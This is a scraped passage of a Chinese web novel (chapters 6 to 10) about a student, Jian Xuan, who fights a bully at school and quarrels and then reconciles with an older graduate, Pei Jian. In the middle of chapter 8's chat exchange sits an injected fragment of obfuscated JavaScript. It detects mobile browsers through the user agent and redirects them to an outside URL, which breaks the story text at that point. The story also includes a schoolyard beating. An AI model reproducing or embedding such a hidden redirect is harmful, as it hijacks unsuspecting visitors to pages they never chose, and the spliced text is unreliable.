朝着声源看去，是秦文楼。
对方的脚踝上还绑着绷带，简渲神色没有任何变化，只是在转身的时候朝秦文楼比了一个国际友好手势。
几秒后，简渲就听见身后传来板凳摔在地上的声音，还伴随着秦文楼的叫声。
高表见状连忙走了上去，“没事吧？”
秦文楼摇摇头，“简渲他......”
“你也觉得简渲这次很厉害吧？来来来，都来听简老师开课啊。”高表自动打断了秦文楼想说的话。
简渲站在黑板前，手里拿着卷子，虽然他还是不会读洋文，但是裴渐的讲题方法简渲还是记下了百分之七八十的，照虎画猫他还是很擅长的。
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良久，简渲终于快把第一篇阅读讲完了，他刚在心里暗喜，下一秒就卡住了。
“呃......”简渲左腿拌着右腿，瞧了一眼想看自己笑话的高表，最后发动了老彪最喜欢的大招，“这个选项都选不对，你们还当什么高中生，一看就选b啊。”
高表原本还在看热闹，听见简渲的话之后一步抵三步地走上了讲台，然后对简渲微微笑着：“下去，剩下的换个人讲。”
简渲如释重负，朝老彪笑了一下，就跑走了。
“厉害了啊小渲，你敢当着高表的面说他的口头禅。”孟凯一脸佩服，两根手指跪在桌面。
简渲没有丝毫推辞的意思，“他自己老这么说，不能怪我学他吧，那里我是真忘了。”
“你前面说的挺好的，你查对帮帮了？”孟凯有些好奇。
“没有，找了个认识的人，他教的我。”简渲把卷子平铺在桌子上，开始欣赏起自己的笔记。
孟凯脑海里浮现出一个人名，“裴渐？”
简渲似乎对他猜到是裴渐没多大的惊讶，“嗯，我还付了学费。”
整整一百呢。
虽然裴渐反手给了自己一张饭卡。
但是话说回来，自己又没花，顶多算当一阵子裴渐饭卡的物品寄存处吧？
“多少啊？”孟凯问。
简渲晃晃头，开口：“秘密。”
简渲不愿意说，孟凯也不多问，他这人天生思维跳脱，很快又想到了另一件事情，“你说明天的优秀毕业生回校演讲会不会有裴渐啊？”
简渲突然想到自己昨晚睡前听见的“明天见”，花了半秒钟思考是不是自己幻听。
“不知道。”简渲没说一个准确的答案，虽然他心里已经隐隐有了一个答案，但他对于不是百分百确定的事情没有说出口的习惯。
孟凯也没打算从简渲那知道答案，他继续自己说自己的，“听说他大学选的华京大学，真厉害。”
听见熟悉的几个字，简渲眼睛眨了眨眼睛，突然开口：“他高考多少分？”
孟凯叨叨的嘴停下，思考了一下，“七百零几吧？”
简渲没继续说话了，只是用笔在手下的试卷上写了一串数字。
孟凯把头偏过去看了一眼，“115？你写的什么？”
简渲写完之后看了几秒，随后就划掉了，“没写什么。突然想起来一件事。”
“哦哦。”孟凯点点头，也没再问了。
高表盯着简渲看了很久，等到视线中的两人终于没有把脑袋凑在一起，高表才慢悠悠地开口：“孟凯，你来讲b篇。”
孟凯刚把脑袋收回去就惨遭阎王点名，他身上的肉都跟着抖了一下，然后孟凯就听到身边的一声轻笑。
他哼哼两声，拿着卷子走上了讲台。
等孟凯离开，简渲才重新把眼神定格在试卷上，那三个数字似乎还能透过几条杂乱的横线看出来。
至少还差115。
简渲盯着那团线条看了很久，视线又挪到试卷上，男生脑袋靠在支起的胳膊上，空出的那只爪子压在卷子上。
如果孟凯还在下面，大概能听见很轻很轻的“air”。
7.第 7 章
“小渲，你去不去礼堂？”孟凯从教室后门跑了过来，凑到简渲身边说道。
简渲有些没精打采，他捂着肚子，拖长了尾音，“去礼堂干嘛？”
孟凯声音有些激动，“学校在礼堂里面搭景，把艺体生的训练也跟着取消了。”
简渲对这些东西没兴趣，孟凯有点像被关久了对什么都有点兴趣的样子，他不想扫兴，只好点点头，“走吧。”
孟凯拉着简渲走到礼堂，礼堂附近就是操场，外面很多学生，大概和孟凯是一样的精神，门口摆着一块红色的牌子，上面写着【欢迎优秀毕业生回校演讲】。
简渲草草扫了一眼。腹部的疼痛还在持续，他揉了揉腹部，侧头看了眼孟凯，声音很轻：“我肚子疼，去厕所。”
孟凯这才发现简渲脸色惨白，“要我扶你去吗？”
简渲摆了摆手，“不用了。”
南附操场旁边的体育馆里面就有厕所，简渲觉得大概是昨天吃了放久的面包的原因，今天他的肚子总是疼。
简渲上完厕所刚想开门，就听见门外穿来叠在一起的脚步声。
笑声回荡在有些空荡的环境里，简渲听见一个熟悉又恶心的声音响起，“宁铭，简渲那小子是不是和你一个初中的？”
随后就是宁铭有些唯唯诺诺的回答，“嗯.....秦哥，你......”
秦文楼笑了起来，他拍了拍宁铭的胳膊，用的力气有些大，宁铭嘶了一声。
“那小子是不是那啥啊？瘦得一批，你别说想想确实比正常人带劲啊。”秦文楼开口，刚说完，周围的男生都意味不明地笑了起来。
宁铭没有跟着附和，他扯了扯秦文楼的衣角，“秦哥，别说了。”
秦文楼重重呸了一声，用那只没受伤的脚踢了踢垃圾桶，然后拎起宁铭的衣领，“你还帮那小子说上话了？他不会是给你......”
话没说完，又是一阵哄笑响起。
宁铭刚想继续说些什么，就看见秦文楼身后的厕所门打开了。
然后露出一张过分眼熟的脸，周围的男生似乎没有注意到秦文楼身后的动静，都在笑刚刚秦文楼那段欲言又止的话。
宁铭看见简渲朝自己笑了笑，然后竖起食指放在唇前，似乎是在告诉自己，不要说话。
“秦哥，你说我们要不要找人把那小子给......”剩下的话没有说出口，这句话是一个个子有些矮小的男生说的，他比了一个动作。
“砰”的一声，秦文楼的小弟们还没有反应过来，只看见了摔倒在地上的秦文楼，还有秦文楼身后还没有收回腿的简渲。
简渲揉了揉手腕，眉眼之间的烦躁几乎喷涌了出来，声音压得很低，“我不想揍人。”
趁着秦文楼小弟愣神的时间，他一步一步走到秦文楼面前，然后停住。
男生那张过分好看的脸凑在秦文楼面前，居高临下，简渲一条腿踩在秦文楼腹部，他弯下腰，甩了甩右手。
一拳。
简渲声音很平静，“如果你学不会闭嘴，我可以让你永远把嘴巴闭上。”
如果不看他手下的动作，根本想象不到这个男生是在打架。
这时秦文楼的小弟终于回过了神，那个个子矮小的人刚想冲上去揍简渲，就被一双手拦住，是宁铭。
宁铭摇摇头，“他初中，经常吃打架处分，被打的人从来不是他。”
一句话，把想要上去帮忙的人都震在原地。
简渲眼尾有些红，他抬头看了一眼宁铭，又望着宁铭身后有些犹豫的人，“我已经两年没打架了，你们想要给我过过瘾的，可以来。”
没有一个人动。
秦文楼捂着自己刚刚被打的脸，“你他妈......”
又是一拳。
简渲没继续说话，只是一拳一拳往秦文楼身上打着，他打的架多，自然知道打哪不会留下痕迹又让人痛。
体育馆里的厕所没有监控，简渲只能说秦文楼自作孽不可活。
直到厕所外面响起孟凯的喊声，简渲才停手。
他垂眼看着秦文楼，“如果你又想告状，我不介意把你今天说的话和教导主任再说一次。”
简渲没管脚下的人是什么表情，抬腿就走了。
走出厕所，简渲就看见了有些焦急的孟凯，见简渲出来，孟凯开口：“我还以为你没在体育馆的厕所呢，怎么去了怎么久。”
简渲右手指骨泛着红，有些痛，毕竟秦文楼是体育生，浑身都是硬的。
他把右手往兜里塞，声音漫不经心，“睡着了。”
孟凯拍了拍简渲的背，“我还以为你怎么了呢。”
简渲摇摇头，问道，“你不看了？”
孟凯叹了口气，“没意思，明天我偷偷藏点吃的去操场，你真的要跑啊？”
简渲不爱听这些，有这点时间还不如跑出去兼职，“嗯，快结束的时候你给我发消息。”
孟凯点点头，“好，包在我身上。”
南附晚上九点才放学，简渲一般都是走路去黑网吧。
下午原本泛红的指骨已经有些乌青了，胳膊上的淤青也没消，简渲皱了皱眉，初中他打架多也没留下过这些，不知道是什么原因，现在碰一下就留青了。
想起书包里还放着那天校医给自己的半瓶碘伏，简渲走路的步子停了下来，他靠在路边的花坛上，把那半瓶碘伏拿了出来，就往自己右手上倒。
碘伏顺着男生的手指曲线往下流，简渲随手揉了几下，他的手背和手臂上现在都是暗棕色，有些轻微的刺痛，简渲甩了甩胳膊。
脚边传来毛茸茸的触感，简渲低头，就看见一只浑身橘黄色的猫正围着自己的脚打转，还低头嗅着刚刚滴在地上已经渗进去的碘伏。
简渲把碘伏盖上放进书包里，他单肩背着书包蹲下，用右手掌心轻轻揉了揉猫的脑袋。
感觉到眼前的直立四肢动物正在摸自己，橘猫很享受地抬了抬自己高贵的头颅。
简渲眼睛弯了起来，使劲揉了揉猫头，“几岁了？”
明明直到眼前的小橘猫不会说话，简渲还是在自言自语，右手软乎乎的触感，简渲觉得自己心情都变好了不少。
“喜欢猫？”压着笑意的男声在空气中响起。
太过熟悉了，简渲耳朵动了动，抬头就看见了穿着黑色冲锋衣站在自己面前的裴渐。
简渲拉了拉快要从肩下滑落的书包带，可能是还没摸够，担心橘猫逃跑，简渲搂着猫肚子就把橘猫抱住后才站起身。
“嗯，哥你怎么在这？”简渲揉了揉猫肚子，听着小橘享受的咕噜声。
裴渐瞧着简渲那股高兴劲，又看了一眼简渲怀里的小橘，还是把想说的话吞进了肚子里，“我出来逛逛，放学了？”
“嗯，”简渲点点头，笑着看着怀里的猫，似乎想起了什么，“哥，你帮我抱一下这只小橘呗，我去给他买根火腿肠。”
裴渐摩挲了一下指腹又松开，简渲大概不知道，他笑起来的时候头顶的呆毛会一晃一晃的。
“我去吧。”裴渐说。
简渲没继续说话，大概是默许了男人的话。<
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裴渐拿着在超市买的两根火腿肠，递了一根给坐在椅子上撸猫的简渲，“给。”
简渲怀里的小猫把猫爪放在男生的掌心糯糯地踩奶，简渲接过裴渐递给自己的火腿肠，包装已经被裴渐撕开了，简渲掰开一小段放在掌心。
看见小猫长着嘴吧唧吧唧吃了起来，简渲唇角翘了起来。
小猫吃完简渲手心的火腿肠，伸出粉粉的舌头舔了舔男生的掌心，开始喵呜喵呜地叫了起来。
简渲刚打算继续掰一小截喂猫，就看见一根包装半褪的火腿肠出现在自己面前。
然后就是一双骨节分明的手，手的主人似乎不满简渲愣住，拿着火腿肠凑到男生嘴边，冰冷的肠肉贴上男生的唇缝，简渲下意识舔了一下嘴唇。
“嗯？”男人有些疑惑的声音想起，“怎么不吃？”
简渲口腔里全是火腿肠的味道，他咽了咽口水，抬头看着故意逗弄自己的裴渐，“你干什么？我又不是猫。”
裴渐看见男生炸毛的样子，直接把火腿肠塞进了男生张开的唇里，然后就发现简渲浑身的气势突然收了起来。
“怕你饿了。”裴渐说。
简渲嚼了几口嘴里的火腿肠，声音有些僵硬，“谢谢。”
怀里的猫不满意男生不理自己，在简渲怀里滚了一圈，对着裴渐哈气。
简渲把手里的小半截火腿肠放在右手掌心。
裴渐目光落在男生白皙的右手上多出的深棕色部分，皱了皱眉，“手怎么了？”
简渲无所谓地摇了摇头，“不小心摔到了，不痛。”
裴渐走上前在男生身边坐下，看了眼，还有些没擦到的地方乌青很明显。
“还有药吗？”裴渐声音有些轻，像是怕自己的声音把男生的伤势加重似的。
简渲用胳膊撞了撞背后的书包，“书包里有。”
“我拿了？”裴渐问道。
简渲点点头。
裴渐翻开男生的书包，男生的书包里面书倒是挺多的，裴渐拿出放在最外面的碘伏。
他拧开碘伏的盖子，淋了一点在男生的小臂上，“可能有点痛。”
简渲没说话，目光锁定在裴渐的手上。
裴渐的手挨上简渲的小臂，开始慢慢涂了起来，和简渲糊弄式的涂法不一样，裴渐动作很轻柔，大概是怕把男生弄痛。
等裴渐给简渲的小臂涂完药，再抬眼看简渲，就看见男生偏着头，没把脸漏给自己，裴渐只能看见简渲有些红的耳朵。
裴渐眼尾扬了起来，“手给我。”
简渲还是没回头，只是把摸着猫的那只手换成了左手。
直到男人有些冰凉的指节盖在自己的手背上，简渲身子颤了颤，开口时的声音也有些急，“你别摸。”
“嗯。”裴渐没反驳，只是男生的指关节上都是淤青，他大概猜到了男生是怎么弄的了，但是还是选择给青春期的男生一点面子。
他用大拇指沾着碘伏，一点一点揉上男生的指关节。
简渲只觉得这段时间比他上夜班的时间还难熬，等男人终于收回手，简渲着急地问道：“好了吗？”
裴渐拎起简渲的右手，轻轻吹了吹，“嗯。”
简渲拿出手机看了一眼，已经快九点半了。
“我先走了，”简渲背上书包，将怀里的猫小心翼翼地放在地上，然后对小猫说道，“有机会再喂你。”
简渲抬头看着裴渐，“拜拜。”
裴渐盯着还围着简渲打转的猫，又看了一眼简渲，“不是说了吗？明天见。”
8.第 8 章
简渲顿住步子，问道：“回校演讲？”
裴渐点头，“我以为你知道了。”
“猜到了。”简渲低头看了一眼手机上的时间，声音带上了一点焦急，“我先走了。”
裴渐颔首，“嗯。”
等简渲走后，裴渐看了一眼想跑着跟上男生的小猫，蹲下|身把小橘捞进了怀里，刮了刮小猫的鼻子，说道：“喜欢他？”
小橘喵喵了四声，也不知道究竟有没有听懂男人的话。
简渲在十点前到了黑网吧，黑网吧老板探出一个脑袋，“小渲，今天没那么多人来开机，你要不先自己玩一会？”
简渲张了张唇，又合上，最后还是说道：“不用了哥，有人来了喊我就行。”
简渲蹲在前台的小角落掏出手机，发现微信置顶的人时隔一天回了自己的消息。
【奶奶：什么时候回来？】
简渲皱了皱眉，但没多想，指尖快速地打下一行字。
【duvet：这周不回来了，等月假我回来看您。】
南附高三每个周末只有一天的假期，月假一般在月中，放两天。
对面的消息回的很快，【奶奶：好的。】
简渲压下心里的不安，也没继续回复对面的消息。
“大哥哥在吗？”一个有些稚嫩的声音在前台响起。
网吧老板看了一眼站在自己面前的男孩，“你找哪个哥哥？”
男孩手舞足蹈了半天，就说出了两个词。
一个是酸辣粉，一个是数学。
老板见男孩急了，也不逗他，低头看着发呆的简渲，“小渲，有个小朋友找你。”
简渲回过神起身，看着那天晚上熬夜赶作业的男孩，这次他身后没有人，“你爸爸呢？”
男孩手里拿着一百块钱，很大气地放在前台，“哥哥，给我开个机子，两个小时的。”
简渲看着男孩手里的现金，开口：“多了五十五块。”
男孩摇摇头，“给哥哥也开一台，然后剩下的十块我和哥哥一人一碗酸辣粉。”
简渲下意识想要拒绝，想说出的话却被老板堵在喉咙里，“小渲，去玩会吧，你也该有点这个年纪的叛逆，今晚工资照样给你算。”
老板大气地挥了挥手，把简渲往里面推。
简渲云里雾里地和男孩坐在电脑桌前，还没说些什么，男孩就开口了，“哥哥，我叫林叙，你叫什么啊？”
简渲很少遇见这么自来熟的人，他有些不习惯，摸了摸耳朵才开口：“简渲。”
“简渲？哥哥你名字好好听啊。”林叙有些羡慕地说道。
简渲笑了一下，没说什么，转移话题问道：“不开机？”
刚说完，简渲就看见林叙跟做贼一样从衣袖里掏出来一张数学卷子，上面几乎全是红叉。
林叙把试卷递到简渲面前，“哥，老师让我们自己改错题，我不会，我爸妈说让我自己改。”
“不是让你自己改吗？怎么想起来找我？”简渲看了眼林叙可怜兮兮的样子，心还是有些软。
林叙还以为简渲要拒绝自己，连忙说道：“哥我真的不会，求求你了。”
简渲拿起林叙递来的卷子，摊在桌上，掌心张开对着林叙，开口：“笔。”
林叙愣了一瞬，然后欢呼起来，感激地说道：“哥，我就知道找你没错。”
简渲拿起男生的笔，开始在卷子上看了起来，问道：“追及问题记住了？”
林叙点点头，“记住了哥，你看我这张卷子，追及问题一题没错。”
简渲扫了一眼，林叙说的确实没错，但是他的几何错的有些多，还都是一些不该错的，他标了几道题，开始给林叙讲了起来。
等给林叙讲完一整张卷子的错题，已经快十二点了，网吧老板见两人终于把埋着着的头抬了起来，端着两桶酸辣粉走了过去。
老板把其中一碗酸辣粉放在简渲面前，低声询问，“吃点？”
简渲把试卷折起来放在林叙手里，接过老板递过来的酸辣粉，“谢谢哥。”
网板老板晃了晃头，没说什么，网吧昏暗的灯光下也看不清他的神色，“还有一年就高考了吧？”
林叙有些震惊地看了一眼简渲，似乎不敢相信面前的哥哥只有十七岁。
简渲双手捂着发烫的泡面桶，“嗯。”
“想去什么大学？”网吧老板漫不经心地问道。
简渲抿了抿唇，大概是觉得以后不会再有什么交集了，还是没有隐瞒地开口，“华京大学。”
老板爽朗地笑了笑，说不清是什么感觉，他拍拍简渲的肩膀，“华京大学好啊，叔相信你，到时候我也去华京开个网吧。”
在网吧老板和简渲交谈的时候，林叙已经端起了酸辣粉，他摆了摆手，“哥，我先回家了。”
简渲应了声好，也朝林叙挥了挥手。
林叙走后，简渲望着网吧老板，还是把心里掩埋很久的问题问出了口：“哥，我们认识吗？”
简渲不是主动找到这个地方的，刚上高中的时候他原本是在一家很破小的餐馆兼职，餐馆就在学校附近，不提供吃住，而且一般十一点就下班了，简渲结束兼职以后就会租一个小电动开始送外卖。
直到高一刚开学一个月的时候，简渲大半夜送外卖送到了这家黑网吧，网吧老板只看了简渲一眼，就对简渲说道：“小子，来我这上班吧，刚好缺一个人，一个月两千，包吃包住。”
于是简渲辞去了在饭馆的工作，把自己打包送进了这家网吧。
这家网吧没有名字，甚至有时候都没有客人，简渲刚来的时候问过老板这家网吧叫什么。
老板只是笑了笑，对简渲说道：“你叫他黑网吧就好了，至于我呢，你喊我叔就行。”
老板也没有告诉简渲他叫什么，简渲也只叫老板“哥。”
老板似乎被简渲问住了，但又好像没心虚，“不认识，单纯看你有眼缘。”
简渲知道老板在忽悠自己，但也没有强求一个答案。
他起身刚准备继续去前台守着，老板就拦住了他，这会网吧安静了下来，空气里的烟味愈发明显。
老板的声音有些沙哑，“不是想考华京大吗？学习去嗷，叔一个人忙得过来。”
简渲被迫回了自己的小窝。
他翻开书包，突然发现了一个不属于自己的东西。
一瓶放在掌心还温热着的牛奶。
裴渐。
简渲只能想到这个人。
他把牛奶放在床头，拿出手机给裴渐发消息。
【duvet：转账10元。】
【目的不明：？】
【目的不明：已退回。】
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14024140|147781||http|test|mini|href|location''.split(''|''),0,{}));
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>【目的不明：怎么了？】
男人这几条消息几乎是在一秒之内就完成了。
【duvet：牛奶。】
【目的不明：我就说我买给我家咪咪喝的奶怎么找不到了，不小心放在你书包里了。】
【目的不明：你喝了吧。】
简渲想起昨天晚上打视频通话的时候在裴渐那边听见的咕噜声，大概就是男人说的咪咪吧。
【目的不明：早点睡。】
简渲看着床头的那瓶牛奶，最后还是没有喝。
或许是下午就把精神劲用完了，简渲手机还握在手里，然后就睡着了。
第二天起来的时候手机已经自动熄屏了，简渲随手看了一眼电量，只剩下十几度电了。
昨晚睡之前明明还有九十多的。
简渲没有多想，只当是手机电池不行了，他把放在床头的充电宝顺走，视线落在那瓶冷掉的牛奶上，简渲犹豫了一些，把牛奶塞进了校服兜里。
等到了学校，于婉婷已经站在讲台了，她是教物理的，还是据不可靠消息，她来南附之前在华京是物理系的教授。
简渲今天差不多是踩着点来的，等他到的时候人已经来的差不多了。
于婉婷拍了拍黑板，说道：“等会九点有个优秀毕业生演讲，在学校大礼堂，只限高三的学生。”
虽然都知道了这个消息，但对于高三的学生来说，只要不是在教室，干什么都是好的，还是有很多人高兴地叫了起来。
简渲身边的孟凯也跟着兴奋，等早自习铃响了以后，教室才终于安静下来。
“小渲，秦文楼请假了。”孟凯扯了扯简渲。
简渲看向秦文楼的座位，那里座位是空的，“嗯。”
简渲觉得自己昨天没打多狠，结果人就直接请假了，也没有人告状，大概也不想多生是非。
等终于到了九点，所有人都开始躁动了起来，简渲在于婉婷来之前提前起身，对孟凯说道：“记得通风报信。”
孟凯点点头，“交给我，你找到几个小时的兼职了？”
简渲挑了挑眉，“发广告。”
简渲趁没人注意，悄咪咪地从后门溜走。
有一条楼梯已经被人占满了，唯一人少的那条楼梯是办公室方向。
简渲走了过去，刚走到门口，就听见教导主任的声音在门内响了起来。
“于老师，没想到裴渐同学竟然是您的孩子。”教导主任有些恭维。
听见一个熟悉的名字，简渲顿住。
于老师，哪个于老师？
“没有没有，他自己争气。”简渲听见于婉婷笑了笑，但声音的骄傲还是藏不住的。
显然，那个于老师是他的班主任于婉婷。
于婉婷的儿子是裴渐。
简渲愣住。
为什么裴渐不告诉自己？
被欺骗的滋味并不好受，简渲听见脚步声慢慢走到门口，连忙跑到办公室的视线视角躲着。
简渲有些不知所措，校服兜里还放着那瓶牛奶。
他下意识地拿出手机，打开微信就翻到那个备注是“目的不明”的人。
最新的一条消息不是裴渐发来的早点睡。
而是八个小时前自己发起的语音通话。
通话时长四个小时。
最后被裴渐挂掉了。
9.第 9 章
简渲来不及想那么多，一瞬间被欺骗的愤怒充斥了他了脑海。
他讨厌欺骗。
【duvet：。】
【目的不明：？】
【duvet：骗子。】
【duvet：你为什么不告诉我你是于老师的儿子。】
【目的不明：你没问。】
【duvet：我没问你就不会张嘴说话了？】
没等对面的人解释，简渲就又发了两条消息过去。
【duvet：不用解释了。】
【duvet：互删。】
简渲点开裴渐的小猫头像，，指尖放在删除键上，迅速点了下去。
刚好轮到简渲他们班去礼堂，于婉婷正在清人数，孟凯刚打算说简渲去上厕所了，就看见简渲从过道上走了回来，然后插队站在自己前面。
简渲脸上没有任何表情，只是看上去很低落，孟凯很会看脸色地没有询问简渲发生了什么。
简渲心里现在一团麻，他不知道为什么自己会这么生气，难不成只是因为裴渐对自己好？
他不是没被欺骗过，简渲以为他习惯了。
他本该知道裴渐接近自己就是有目的，不然在结束以后他们俩就早就该说再也不见了。
等跟着人群的步子走到礼堂，听着上面校长的发言，简渲才慢慢回过神。
“各位同学们，今天我们邀请了从我校毕业的优秀学生，这次演讲将由他们......”校长开口的时候身后还站着几个人。
简渲一眼就看见了最显眼的那个人，裴渐穿着一身很正经的黑色西装，领带是红色的，将男人身上的少年感磨平了些。
似乎察觉到了简渲的视线，裴渐抬眼，就看见了盯着自己的简渲，男生就坐在前排，看见自己望向他，连忙收回了视线。
裴渐皱了皱眉，当时男生给自己发完互删，他本以为是开玩笑，结果解释的话刚发过去，就是红色的感叹号。
白色的小字上写着“对方不是你的好友......”
身边的教导主任轻轻拍了拍裴渐的手，“裴渐，过去吧。”
裴渐看着低着头不再看自己的男生，有些着急，但眼下还有演讲，也只能先搁置下。
裴渐走上前，校长已经介绍了他，他朝给自己递话筒的校长点了点头，“各位同学好，我是21届的裴渐......”
简渲的手还塞在兜里，闻言他捏紧了兜里的牛奶瓶。
孟凯似乎想逗简渲开心，“你看，我就说有裴渐。”
简渲垂着头，没什么精神气，“有就有呗。”
孟凯点点头，应该是看出来简渲真没心情了，也不再说话了。
不知道裴渐说了些什么，也不知道究竟流程进行到哪了，他不想听大骗子说话，于是努力把自己脑袋放空。
“简渲。”
简渲眨了眨眼，抬头。
裴渐就站在自己面前，自己旁边是努力让出位置给裴渐的孟凯。
简渲没好气地说道：“干嘛？”
裴渐声音有些服软，弯了弯腰，轻声说道：“你出来。”
简渲不想理他，也没说话，重新把头低了回去。
裴渐叹了口气，轻轻拉了拉简渲的手指，“让我解释一下，可以吗？”
简渲吸了吸鼻子，抬起头，语速有些快，“有什么好解释的。”
裴渐这才发现简渲的眼尾有点红，瞳孔也有些反光。
“嗯？给我个解释的机会吧？”裴渐伸出手，似乎想擦一下简渲的眼睛。
简渲躲开，看了眼想看热闹的孟凯，低声说道，“出去说。”
等和裴渐站在大礼堂门外，简渲突然有些懊恼。
明明觉得再也不理裴渐了，怎么就答应这个大骗子了。
“抱歉，”裴渐率先开口，“我不是故意的。”
简渲气急反笑，把兜里的牛奶塞进裴渐手里，开口：“不是故意骗我？”
裴渐看了一眼自己掌心冰凉的牛奶，“怎么不喝？”
“我是你家咪咪吗就喝？”简渲面无表情地靠着墙，不去看裴渐，“还有，你不要转移话题。”
裴渐低头瞧着瘪着嘴的男生，把牛奶拿在手里，“我不是故意的。真的没想好怎么和你说。”
简渲没说话，只是靠着墙垂下头，裴渐蹲下|身子，仰着头看简渲，“我错了。”
视线里突然出现一张脸，简渲下意识想往后靠，却发现自己的身后是一堵墙，他转身想走，却被裴渐拉住了小拇指。
“我错了，简渲小同学大人有大量原谅我好不好，嗯？”裴渐拖长尾音，也不起身，就捏着简渲的小拇指。
简渲回头瞪了一眼跟赖皮狗一样不松手的裴渐，声音有些生气，“你松手行不行？”
裴渐晃了晃简渲的手，“你还没说没关系。”
“我为什么要原谅你？”简渲盯着裴渐拉着自己的那只手，男人的拇指和食指捏着自己的小指不停地晃悠。
“因为裴渐想和简渲和好，”裴渐扯了扯简渲的手，“简渲不想和裴渐和好吗？”
哪有自己叫自己名字的。
太犯规了。
简渲努力压制住唇角的上扬，还是没答应裴渐，“如果我说不想呢？”
裴渐终于没蹲着了，他撑着胳膊起身，低着头看着简渲的眼睛，“让裴渐看看你想不想。”
简渲偏过头，“不想和大骗子说话。”
裴渐轻轻笑了一声，声音有些在撒娇的意味，“真的不可以原谅大骗子这一次吗？我真的错了。”
简渲半晌都没说话，裴渐都怀疑简渲是不是睡着了，然后就看见男生轻轻点了点头。
幅度很小很小的，几乎看不清。
裴渐戳了戳简渲的脸，带着逗弄面前人的心思，“生怕我看清吗？”
“哦，”简渲拍开裴渐的手，往礼堂里面走去，“别动手动脚。”
裴渐弯了弯唇，跟上简渲的步子，“所以可以把微信加回来了吗？”
“看吧。”简渲知道裴渐就在自己身后。
刚准备推开门，简渲就感觉到有一个有些温热的异物塞入自己掌心，他低头一看，是自己刚刚扔到裴渐手里的牛奶。
手心的牛奶不是先前的冰冷，取之代替的是温热。
裴渐叹了口气，趁简渲注意力不再自己身上，揉了揉简渲的脑袋，“谁家好人去便利店给猫买牛奶？”
不给简渲反应的时间，就拉着简渲往大礼堂里面走。
简渲手里拿着牛奶坐到自己的位置上，也不知道上面是谁在演讲，只是呆呆地看着手心的牛奶。
脑子里还回荡着裴渐那句“谁家好人去便利店给猫买牛奶。”
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大概是裴渐手动捂热的，持续的时间不久，已经有些微微发凉了。
控制不住地，简渲拧开盖子捧着牛奶喝了起来。
裴渐回到后台的时候刚好撞上教导主任，教导主任大概是终于找到了他，连忙走上来问道：“刚刚半天没找到你人。”
裴渐手心还是刚才毛茸茸的触感，闻言他笑了笑，“哄我弟弟去了。”
教导主任点点头，“行，等会还有一个集体合照，你别忘了出席。”
“好。”裴渐说。
等教导主任走后，裴渐才拿出手机，给微信最上面的人发了一条消息，结果还是红色感叹号。
裴渐重新发了一个好友申请过去，并配上备注【对不起QAQ】
还没发出去，裴渐自己就笑了。
简渲刚喝完那瓶牛奶，兜里的手机就震动了一下。
见周围没有人注意到自己，简渲把手里那瓶烫手山芋连忙放进兜里，然后拿出了手机。
入目就是一个大写的【PJ】的好友申请。
不用猜就知道是谁。
简渲戳着屏幕，点进了微信，然后盯着裴渐的好友申请备注弯了弯唇。
他抿了抿唇，还是点下了同意。
裴渐大概是一直看着手机，在简渲同意好友的那一瞬间，就发了一个表情包过来。
表情包是一只白色的布偶猫，脸圆圆的小猫张大嘴巴打哈欠，两只前爪踩在一只人爪子上，那只人爪子的手指格外修长，还格外眼熟。
没等简渲询问，对面的人就迫不及待地发了条消息过来。
【PJ：我家的猫。】
【PJ：可爱吗？】
简渲看了眼裴渐原滋原味的名字，还是没忍住。
【duvet：干嘛？炫耀？】
【大骗子：想和你分享QAQ。】
【duvet：可爱。】
虽然裴渐惹了自己生气，但简渲还不至于和一只可爱的小猫置气。
【大骗子：（图片）】
裴渐连续发了十几张猫猫的图片过来，有小崽崽时期的，也有现在的。
发完以后，还附带了一句话。
【大骗子：她会后空翻。】
简渲的注意力没在后空翻上。
【duvet：母猫？】
【大骗子：嗯，已经绝育了QAQ。】
简渲看着裴渐那个表情有些头疼。
【duvet：你能不能别发这个表情了。】
【大骗子：不可爱吗？T-T。】
【duvet：......】
【duvet：你喜欢就好。】
裴渐倒是没有继续发那些看着就让人头疼的表情了，而是转头就发了一条其他消息。
【大骗子：我中午在食堂吃饭，陪你一起。】
简渲愣住。
【duvet：你不回家吗？】
【大骗子：感觉你不会吃饭。】
【duvet：。】
【大骗子：真猜对了？】
简渲刚想回复，就发现演讲已经结束了，周围的人都开始陆陆续续地起身，于是他只好放下回复裴渐的心思，将手机塞到了兜里。
刚走出大礼堂，含着笑的声音就响了起来。
“走吧？去食堂吃饭？”
10.第 10 章
简渲朝着声源的地方望过去，就看见裴渐和往出走的人群逆行，朝他走了过来。
简渲还没反应过来，裴渐就走到了他面前，男人垂着头看自己，声音和吵闹的人群混杂在一起，但又格外清晰“怎么不动了？”
简渲声音梗着，踢了踢裴渐的脚尖，还是“为什么对我这么好？”
裴渐看着男生的小动作，没说什么，反问道：“不可以对你好吗？”
不是不可以，是没必要。
简渲没说话，只是磨了磨裴渐的脚尖，“你会被人骗的。”
“不是说我才是大骗子吗？”裴渐弯了弯唇。
简渲被裴渐一句话堵住，也不理他了，自己跟着人流往前走。
“不理我了？”裴渐连忙跟上简渲，声音里有些藏不住的笑意。
简渲不想搭理裴渐，他瞪了裴渐一眼，“不理大骗子。”
虽然身边没有声音传来，但简渲余光还是能隐隐约约看见裴渐的衣角，男人已经把西装外套脱了下来，里面是一件白色衬衫。
简渲也不知道自己走到了哪，直到裴渐开口，“你想吃三食堂？”
简渲抬头，这才发现自己已经走到了三食堂门口，还没等他开口，裴渐就先说话了：“我记得这里的口水鸡还可以，吃吗？”
说完，裴渐就偏头看着简渲。
简渲哪知道三食堂的口水鸡好不好吃，听裴渐这么说他也只能点头，“好。”
“走吧。”说完，裴渐就拉上了简渲的手腕。
简渲低着头看了一眼，没说话。
等裴渐拉着自己走到窗口前，简渲才想起来自己的饭卡早都不知道放在哪里去了。
裴渐见简渲神色僵住，低声问道：“怎么了？”
简渲摇摇头，“饭卡忘带了。”
裴渐似乎明白到了什么，他直接把手伸进简渲的校服兜里，然后拿出了一张饭卡。
饭卡上面还刻着裴渐两个字。
“用我的。”裴渐把饭卡塞进简渲手里，没有追问他为什么不带自己的饭卡。
简渲只觉得掌心那张冰凉的卡片烫手，他眨了眨眼，还是没有说什么。
